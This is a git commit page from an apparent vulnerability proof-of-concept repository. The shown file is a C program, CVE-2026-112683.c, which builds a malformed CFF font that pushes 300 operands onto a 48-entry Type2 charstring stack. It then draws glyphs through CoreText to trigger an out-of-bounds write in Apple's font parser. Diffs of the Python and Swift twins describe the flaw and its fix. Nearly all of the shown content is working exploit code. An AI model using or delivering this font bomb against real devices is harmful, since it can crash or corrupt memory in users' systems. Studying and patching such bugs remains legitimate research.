v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
JBJF committed 2026-10-29 20:08:55 +08:00
1 parent 1ea76ab005
commit 7949c7ce9f
79 files changed
+4109 -892

No files matched your search

+160
View File
@@ -0,0 +1,160 @@
// font.cff · FontParser · Type2 charstring interpreter · CVE-2026-112683
// CFF operand stack push overflow
// C twin of the Swift POC: builds the 300-operand stack bomb CFF, loads it through
// CGFont/CTFont and draws glyphs to force the interpreter to run.
// Build: clang -O2 -o cve-2026-112683 CVE-2026-112683.c -framework CoreText -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112683 [push-count]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
// ── CFF INDEX (from CVE-2026-112683.py: index) ──
static void cff_index(buf *out, const uint8_t *const *items, const size_t *lens, int count) {
if (count == 0) { bput(out, 0); bput(out, 0); return; }
size_t off = 1;
size_t offs[33];
offs[0] = 1;
for (int i = 0; i < count; i++) { off += lens[i]; offs[i + 1] = off; }
int off_size = 1;
if (off >= 0x10000) off_size = 2;
else if (off >= 0x100) off_size = 1; // count fits
// choose the smallest width that holds `off`
if (off < 0x100) off_size = 1;
else if (off < 0x10000) off_size = 2;
else if (off < 0x1000000) off_size = 3;
else off_size = 4;
bput(out, (uint8_t)(count >> 8)); bput(out, (uint8_t)(count & 0xff));
bput(out, (uint8_t)off_size);
for (int i = 0; i <= count; i++) {
for (int k = off_size - 1; k >= 0; k--) bput(out, (uint8_t)((offs[i] >> (8 * k)) & 0xff));
}
for (int i = 0; i < count; i++) bcat(out, items[i], lens[i]);
}
// 5-byte fixed-width DICT integer operand
static void dict_int(buf *out, int32_t v) {
bput(out, 29);
bput(out, (uint8_t)(v >> 24)); bput(out, (uint8_t)(v >> 16));
bput(out, (uint8_t)(v >> 8)); bput(out, (uint8_t)v);
}
// ── seed construction (from CVE-2026-112683.py: build_cff) ──
// one charstring pushes `push_count` operands before endchar; the interpreter's
// operand stack is a fixed 48-entry array
static buf cff_stack_bomb(int push_count) {
buf out = {0};
bcat(&out, "\x01\x00\x04\x01", 4); // header: major 1, minor 0, hdrSize 4, offSize 1
// name index
const uint8_t *names[1] = { (const uint8_t *)"CinderStackBomb" };
size_t name_lens[1] = { 15 };
buf name_index = {0};
cff_index(&name_index, names, name_lens, 1);
// charstring: push_count × (139+1 = push 1), then endchar (14)
buf cs = {0};
for (int i = 0; i < push_count; i++) bput(&cs, 140);
bput(&cs, 14);
const uint8_t *cs_items[1] = { cs.d };
size_t cs_lens[1] = { cs.n };
buf charstrings = {0};
cff_index(&charstrings, cs_items, cs_lens, 1);
buf gsubrs = {0};
cff_index(&gsubrs, NULL, NULL, 0);
buf strings = {0};
cff_index(&strings, NULL, NULL, 0);
// Top DICT: CharStrings (op 17) + Private (op 18), absolute offsets, two-pass
// layout: header | name | top | strings | gsubrs | charstrings | private
size_t top_len_placeholder = 2 * 6 + 2; // two 5-byte ints + two 1-byte ops
size_t top_off = 4 + name_index.n;
size_t after_top = top_off + top_len_placeholder;
size_t cs_off = after_top + strings.n + gsubrs.n;
size_t priv_off = cs_off + charstrings.n;
buf priv = {0};
bput(&priv, 0x00); // trivial private dict
buf top = {0};
dict_int(&top, (int32_t)cs_off); bput(&top, 17);
dict_int(&top, (int32_t)priv.n); dict_int(&top, (int32_t)priv_off); bput(&top, 18);
// the real top dict length must match the placeholder used for layout
buf top_index = {0};
const uint8_t *top_items[1] = { top.d };
size_t top_lens[1] = { top.n };
cff_index(&top_index, top_items, top_lens, 1);
bcat(&out, name_index.d, name_index.n);
bcat(&out, top_index.d, top_index.n);
bcat(&out, strings.d, strings.n);
bcat(&out, gsubrs.d, gsubrs.n);
bcat(&out, charstrings.d, charstrings.n);
bcat(&out, priv.d, priv.n);
bfree(&name_index); bfree(&top_index); bfree(&strings);
bfree(&gsubrs); bfree(&charstrings); bfree(&priv);
bfree(&top); bfree(&cs);
return out;
}
// ── trigger: CGFont + CTFont glyph draw ──
#include <CoreText/CoreText.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
int main(int argc, char **argv) {
int push_count = argc > 1 ? atoi(argv[1]) : 300;
buf cff = cff_stack_bomb(push_count);
FILE *f = fopen("stack_bomb.cff", "wb");
if (f) { fwrite(cff.d, 1, cff.n, f); fclose(f); }
CFDataRef cf = CFDataCreate(NULL, cff.d, (CFIndex)cff.n);
CGDataProviderRef prov = CGDataProviderCreateWithCFData(cf);
CFRelease(cf);
CGFontRef cg = CGFontCreateWithDataProvider(prov);
CGDataProviderRelease(prov);
if (!cg) {
// a refusal is the informative result: which stage rejected the font
printf("CVE-2026-112683 · font refused at the CGFont layer (before the interpreter)\n");
printf("seed: stack_bomb.cff (%zu B) · exit code 1\n", cff.n);
bfree(&cff);
return 1;
}
CTFontRef ct = CTFontCreateWithGraphicsFont(cg, 96, NULL, NULL);
size_t glyphs = CGFontGetNumberOfGlyphs(cg);
printf("font loaded: glyphs=%zu\n", glyphs);
// drawing forces the charstring interpreter to run
const int pixels = 256, bpr = pixels * 4;
uint8_t *buffer = calloc((size_t)bpr * pixels, 1);
CGContextRef ctx = CGBitmapContextCreate(buffer, pixels, pixels, 8, bpr,
CGColorSpaceCreateDeviceRGB(), kCGImageAlphaPremultipliedLast);
int drawn = 0;
size_t upper = glyphs < 8 ? glyphs : 8;
for (size_t g = 1; g < upper; g++) {
CGGlyph glyph = (CGGlyph)g;
CGPoint pos = CGPointMake(20, 40 * (g + 1));
CTFontDrawGlyphs(ct, &glyph, &pos, 1, ctx);
drawn++;
}
printf("CVE-2026-112683 · drew %d glyph(s), %d operands vs stack capacity 48\n",
drawn, push_count);
CGContextRelease(ctx);
free(buffer);
CFRelease(ct);
CGFontRelease(cg);
printf("seed: stack_bomb.cff (%zu B) · exit code 0\n", cff.n);
bfree(&cff);
return 0;
}
-16
View File
@@ -1,20 +1,4 @@
#!/usr/bin/env python3
# font.cff · FontParser · charstring 解释器 · CVE-2026-112683
# 原语: OOB 写 · 进程内 | Primitive: OOB write · in-process
#
# [zh] CFF Type2 charstring 操作数栈溢出
# Type2 charstring 解释器的操作数栈为固定 48 项数组。27.0 仅在 pop 路径检查计数,push 路径不做检查。27.2 补入 Push/Pop 两道栈保护,
# 并将扫描暂存区的 32 位乘法改为 64 位,同时修正了符号扩展指针。
#
# [en] CFF Type2 charstring operand stack overflow
# The Type2 charstring interpreter's operand stack is a fixed 48-entry array. On 27.0 only the
# pop path checks the count; the push path does not. iOS 27.2 adds Push/Pop stack guards, widens
# the scan scratch area's 32-bit multiply to 64-bit, and fixes a sign-extended pointer.
#
# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
# 触发器(run 闭包)与非种子构建器: 同目录 CVE-2026-112683.swift
# triggers (run closures) & non-seed builders: CVE-2026-112683.swift in this folder
import struct
+4 -20
View File
@@ -1,24 +1,9 @@
// font.cff · FontParser · charstring 解释器 · CVE-2026-112683
// 原语: OOB 写 · 进程内 · tier 2
// Primitive: OOB write · in-process · tier 2
//
// [zh] CFF Type2 charstring 操作数栈溢出
// Type2 charstring 解释器的操作数栈为固定 48 项数组。27.0 仅在 pop 路径检查计数,push 路径不做检查。27.2 补入 Push/Pop 两道栈保护,并将扫描暂存区的
// 32 位乘法改为 64 位,同时修正了符号扩展指针。
//
// [en] CFF Type2 charstring operand stack overflow
// The Type2 charstring interpreter's operand stack is a fixed 48-entry array. On 27.0 only the pop
// path checks the count; the push path does not. iOS 27.2 adds Push/Pop stack guards, widens the
// scan scratch area's 32-bit multiply to 64-bit, and fixes a sign-extended pointer.
// ── 判别 / oracle ──
// 这个种子是一个裸 CFF:单个 charstring 连推 300 个操作数再 endchar。绘制字形才会真正执行解释器。
//
// 种子构建器(python,可直接运行): CVE-2026-112683/CVE-2026-112683.py
// runnable python seed builder: CVE-2026-112683/CVE-2026-112683.py
// font.cff · FontParser · charstring interpreter · CVE-2026-112683
// CFF Type2 charstring operand stack overflow
// Standalone builder: CVE-2026-112683.py
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -40,4 +25,3 @@ enum B {
}